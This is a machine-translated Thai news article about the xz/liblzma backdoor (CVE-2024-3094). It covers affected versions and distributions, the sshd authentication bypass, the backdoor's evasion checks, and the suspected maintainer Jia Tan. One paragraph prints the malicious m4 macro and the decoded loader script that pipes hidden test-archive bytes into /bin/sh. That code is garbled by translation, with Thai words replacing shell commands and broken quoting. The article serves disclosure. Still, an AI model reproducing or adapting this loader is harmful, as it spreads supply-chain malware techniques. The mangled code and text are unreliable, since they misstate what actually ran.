พบประตูหลังในไลบรารี xz/liblzma ที่อนุญาตให้เข้าถึงผ่าน sshd

ในแพ็คเกจ XZ Utils ซึ่งรวมถึงไลบรารี liblzma และยูทิลิตี้สำหรับการทำงานกับข้อมูลที่ถูกบีบอัดในรูปแบบ “.xz” มีการระบุแบ็คดอร์ (CVE-2024-3094) ที่อนุญาตให้มีการสกัดกั้นและแก้ไขข้อมูลที่ประมวลผลโดยแอปพลิเคชันที่เกี่ยวข้อง ด้วยไลบรารี liblzma เป้าหมายหลักของแบ็คดอร์คือเซิร์ฟเวอร์ OpenSSH ซึ่งในบางรุ่นจะรวมเข้ากับไลบรารี libsystemd ซึ่งจะใช้ liblzma ในทางกลับกัน การเชื่อมโยง sshd กับไลบรารีที่มีช่องโหว่ทำให้ผู้โจมตีสามารถเข้าถึงเซิร์ฟเวอร์ SSH ได้โดยไม่ต้องมีการตรวจสอบสิทธิ์

ช่องโหว่นี้มีอยู่ในเวอร์ชัน 5.6.0 และ 5.6.1 อย่างเป็นทางการ ซึ่งเผยแพร่เมื่อวันที่ 24 กุมภาพันธ์และ 9 มีนาคม ซึ่งสามารถเข้าถึงการกระจายและที่เก็บบางส่วนได้ เช่น Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide และ 40 เบต้า, โรงงาน openSUSE และ tumbleweed, LibreELEC, Alpine edge, Solus, NixOS ไม่เสถียร, OpenIndiana, OpenMandriva การกลิ้ง, กระแส pkgsrc, กระแส Slackware, การทดสอบ Manjaro ขอแนะนำให้ผู้ใช้ xz 5.6.0 และ 5.6.1 รีลีสทั้งหมดกลับไปใช้เวอร์ชัน 5.4.6 อย่างเร่งด่วน

ในบรรดาปัจจัยที่ช่วยบรรเทาปัญหานั้น สามารถสังเกตได้ว่าเวอร์ชันของ liblzma ที่มีประตูหลังไม่สามารถเป็นส่วนหนึ่งของการเผยแพร่การแจกแจงขนาดใหญ่ที่เสถียร แต่ส่งผลกระทบต่อ openSUSE Tumbleweed และ Fedora 40-beta Arch Linux และ Gentoo ใช้ zx เวอร์ชันที่มีช่องโหว่ แต่ไม่เสี่ยงต่อการโจมตีเนื่องจากไม่ได้ใช้แพตช์แจ้งเตือน systemd กับ openssh ซึ่งทำให้ sshd เชื่อมโยงกับ liblzma แบ็คดอร์มีผลกับระบบ x86_64 ที่ใช้เคอร์เนล Linux และไลบรารี Glibc C เท่านั้น

รหัสเปิดใช้งานแบ็คดอร์ถูกซ่อนอยู่ในมาโคร m4 จากไฟล์ build-to-host.m4 ที่ใช้โดยชุดเครื่องมือ automake เมื่อสร้าง ในระหว่างการประกอบ ในระหว่างการดำเนินการของการดำเนินการที่ซับซ้อนซับซ้อนตามไฟล์เก็บถาวร (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma) ซึ่งใช้เพื่อทดสอบความถูกต้องของการดำเนินการ ไฟล์อ็อบเจ็กต์ที่มีโค้ดที่เป็นอันตรายได้ถูกสร้างขึ้น ซึ่งรวมอยู่ใน ไลบรารี liblzma และเปลี่ยนตรรกะการดำเนินการของฟังก์ชันบางอย่าง มาโคร m4 ที่เปิดใช้งานแบ็คดอร์นั้นรวมอยู่ใน tarball ที่ปล่อยออกมา แต่ไม่ได้อยู่ในที่เก็บ Git ในเวลาเดียวกัน คลังทดสอบที่เป็นอันตรายก็ปรากฏอยู่ในที่เก็บ เช่น บุคคลที่ติดตั้งแบ็คดอร์จะสามารถเข้าถึงทั้งพื้นที่เก็บข้อมูลและกระบวนการสร้างรุ่นรีลีส

เมื่อใช้ liblzma ในแอปพลิเคชัน การเปลี่ยนแปลงที่เป็นอันตรายอาจถูกนำมาใช้เพื่อสกัดกั้นหรือแก้ไขข้อมูล หรือส่งผลต่อการทำงานของ sshd โดยเฉพาะอย่างยิ่งโค้ดที่เป็นอันตรายได้ปลอมแปลงฟังก์ชัน RSA_public_decrypt เพื่อข้ามกระบวนการตรวจสอบสิทธิ์ sshd ประตูหลังมีการป้องกันจากการตรวจจับและไม่ได้แสดงออกมาเมื่อมีการตั้งค่าตัวแปรสภาพแวดล้อม LANG และ TERM (เช่น เมื่อรันกระบวนการในเทอร์มินัล) และไม่ได้ตั้งค่าตัวแปรสภาพแวดล้อม LD_DEBUG และ LD_PROFILE และยังเปิดใช้งานเฉพาะเมื่อดำเนินการเท่านั้น /usr/sbin/sshd ไฟล์ปฏิบัติการ ประตูหลังยังมีวิธีการตรวจจับการดำเนินการในสภาพแวดล้อมการแก้ไขข้อบกพร่องอีกด้วย

โดยเฉพาะอย่างยิ่ง ไฟล์ m4/build-to-host.m4 ใช้ gl_am_configmake=`grep -aErls “#{4}[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$2]_คำนำหน้า -d XNUMX>/dev/null'

ในการก่อสร้างครั้งแรก การดำเนินการ grep พบไฟล์ tests/files/bad-3-corrupt_lzma2.xz ซึ่งเมื่อคลายแพ็ก จะสร้างสคริปต์: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && ออก 0 [ ! $(uname) = "Linux" ] && ออก 0 [ ! $(uname) = "Linux" ] && ออก 0 [ ! $(uname) = "Linux" ] && ออก 0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../../config.status;then eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fi ส่งออก i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && head -c +2048 && (หัว -c +1024 >/dev/null) && head -c +2048 && (หัว -c +1024 >/dev/null) && head -c +2048 && (หัว - c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head - c +2048 && (หัว -c +1024 >/dev/null) && หัว -c +2048 && (หัว -c +1024 >/dev/null) && หัว -c +2048 && (หัว -c +1024 >/ dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && ( หัว -c +1024 >/dev/null) && หัว -c +2048 && (หัว -c +1024 >/dev/null) && หัว -c +2048 && (หัว -c +1024 >/dev/null) && หัว -c +2048 && (หัว -c +1024 >/dev/null) && หัว -c +2048 && (หัว -c +1024 >/dev/null) && หัว -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F raw —lzma1 -dc|/bin/sh ####World####

วิธีที่ผู้โจมตีจัดการเพื่อเข้าถึงโครงสร้างพื้นฐานของโปรเจ็กต์ xz ยังไม่ได้รับการชี้แจงอย่างครบถ้วน ยังไม่ชัดเจนว่ามีผู้ใช้และโครงการจำนวนเท่าใดที่ถูกบุกรุกอันเป็นผลมาจากแบ็คดอร์ ผู้เขียนแบ็คดอร์ที่ถูกกล่าวหา (JiaT75 - Jia Tan) ซึ่งโพสต์ไฟล์เก็บถาวรด้วยโค้ดที่เป็นอันตรายในพื้นที่เก็บข้อมูล ติดต่อกับนักพัฒนา Fedora และส่งคำขอดึงไปยัง Debian ที่เกี่ยวข้องกับการเปลี่ยนการแจกจ่ายเป็นสาขา xz 5.6.0 และไม่ได้ ทำให้เกิดความสงสัยเนื่องจากเขาเข้าร่วมใน xz ได้รับการพัฒนาในช่วงสองปีที่ผ่านมาและเป็นผู้พัฒนาคนที่สองในแง่ของจำนวนการเปลี่ยนแปลงที่เกิดขึ้น นอกเหนือจากโปรเจ็กต์ xz แล้ว ผู้ถูกกล่าวหาว่าเป็นผู้เขียนแบ็คดอร์ยังมีส่วนร่วมในการพัฒนาแพ็คเกจ xz-java และ xz อีกด้วย ยิ่งไปกว่านั้น Jia Tan เมื่อไม่กี่วันก่อนยังรวมอยู่ในจำนวนผู้ดูแลโครงการ XZ Embedded ที่ใช้ในเคอร์เนล Linux

การเปลี่ยนแปลงที่เป็นอันตรายถูกค้นพบหลังจากวิเคราะห์การใช้ CPU มากเกินไปและข้อผิดพลาดที่เกิดจาก valgrind เมื่อเชื่อมต่อผ่าน ssh ไปยังระบบที่ใช้ Debian sid เป็นที่น่าสังเกตว่าการเปิดตัว xz 5.6.1 ได้รวมการเปลี่ยนแปลงที่จัดทำโดยผู้เขียนที่ถูกกล่าวหาเกี่ยวกับประตูหลังเพื่อตอบสนองต่อข้อร้องเรียนเกี่ยวกับการชะลอตัวและการขัดข้องของ sshd ที่เกิดขึ้นหลังจากอัปเกรดเป็นเวอร์ชัน zx 5.6.0 ด้วยประตูหลัง นอกจากนี้ เมื่อปีที่แล้ว Jia Tan ได้ทำการเปลี่ยนแปลงที่ไม่เข้ากันกับโหมดการตรวจสอบ "-fsanitize=address" ทำให้ถูกปิดใช้งานในระหว่างการทดสอบแบบฟัซซี่

ที่มา: opennet.ru

เพิ่มความคิดเห็น